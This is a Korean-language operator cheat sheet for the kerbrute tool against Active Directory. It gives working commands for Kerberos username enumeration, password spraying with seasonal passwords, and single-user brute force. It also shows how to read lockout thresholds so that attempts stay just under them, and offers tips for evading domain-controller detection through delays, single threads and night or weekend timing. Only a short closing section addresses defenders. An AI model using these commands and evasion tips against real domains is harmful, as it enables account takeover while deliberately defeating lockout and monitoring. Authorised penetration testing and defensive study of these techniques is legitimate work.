ATT&CK: T1110.003 Password Spraying, T1589.002 Email Addresses (user enum) · Credential Access (TA0006)
kerbrute는 Kerberos AS-REQ만 보내 인증 성공·실패를 로그에 많이 남기지 않고 사용자명을 열거하고 패스워드를 스프레이하는 Go 도구. 로그온 이벤트가 아닌 Kerberos 이벤트로 떨어져서 **4625(실패 로그온)**로 안 보임 (대신 4768/4771 Kerberos pre-auth 실패로 보이긴 함).
1. 설치
go install github.com/ropnop/kerbrute@latest
2. 사용자 열거
kerbrute userenum \
--dc 10.0.0.10 \
-d corp.local \
users.txt
- 유효 사용자:
[+] VALID USERNAME: alice@corp.local - 없는 사용자: 응답 자체가 다르다 (Pre-auth required vs User doesn’t exist).
사용자 리스트 소스:
- OSINT (LinkedIn, 회사 이메일 패턴 →
first.last,flast) - SharpHound 결과
- SecLists
Usernames/Names/names.txt
3. 패스워드 스프레이
중요: 사용자별 다른 패스워드가 아니라, 동일 패스워드를 많은 사용자에게. 계정 잠금 임계치 회피가 포인트.
kerbrute passwordspray \
--dc 10.0.0.10 \
-d corp.local \
users-valid.txt \
'Winter2025!'
성공 시: [+] VALID LOGIN: alice@corp.local:Winter2025!
4. 흔한 패스워드 패턴
| 패턴 | 예 |
|---|---|
| 계절 + 연도 | Summer2025!, Winter2024 |
| 회사명 변형 | Corp2025!, Company123 |
| Password 변형 | P@ssw0rd1!, Welcome1 |
| 월 + 숫자 | January2025! |
사전은 brutespray, OneRuleToRuleThemAll, Password-Spray-Attacks 등 공개된 거 쓰기.
5. 다중 패스워드 (주의!)
파일 입력도 가능:
kerbrute bruteuser --dc 10.0.0.10 -d corp.local passwords.txt alice
- brute-force는 계정 잠금 유발. 반드시 lockout threshold 확인 후.
- 보통 “N-1 번만” 시도하는 방식으로 안전 패딩.
6. 계정 잠금 임계치 사전 조회
도메인 정책 확인:
# AD 접근 가능하면
Get-ADDefaultDomainPasswordPolicy
# Impacket + LDAP
impacket-ldapsearch 'CORP/alice:pw@dc01' \
-base-dn 'DC=corp,DC=local' \
'(objectClass=domain)' lockoutThreshold lockoutDuration lockoutObservationWindow
Threshold가 5면 동일 계정에 4회까지만 시도. 스프레이 간격은 lockoutObservationWindow보다 길게.
7. OPSEC
- Kerbrute는 TCP 포트 88만 사용 — 네트워크 지문 특이.
- DC Event **4771 (Kerberos pre-auth failed)**이 짧은 시간에 다수 사용자 대상 발생하면 즉시 탐지됨.
- 완화:
--delay추가, 스레드 축소(-t 1), 시간 분산 (주말/야간).
kerbrute passwordspray --dc 10.0.0.10 -d corp.local --delay 500 users.txt 'Pw!' -t 1
8. 방어자
- Event 4625/4771을 사용자 다수 × 짧은 시간 패턴으로 집계 (SIGMA 룰 공개됨).
- Smart Lockout(Azure AD) 또는 FIDO2 전환.
- 공통 패스워드 금지 리스트(Have I Been Pwned password API 연동).
참고
- ropnop/kerbrute
- MITRE ATT&CK — T1110.003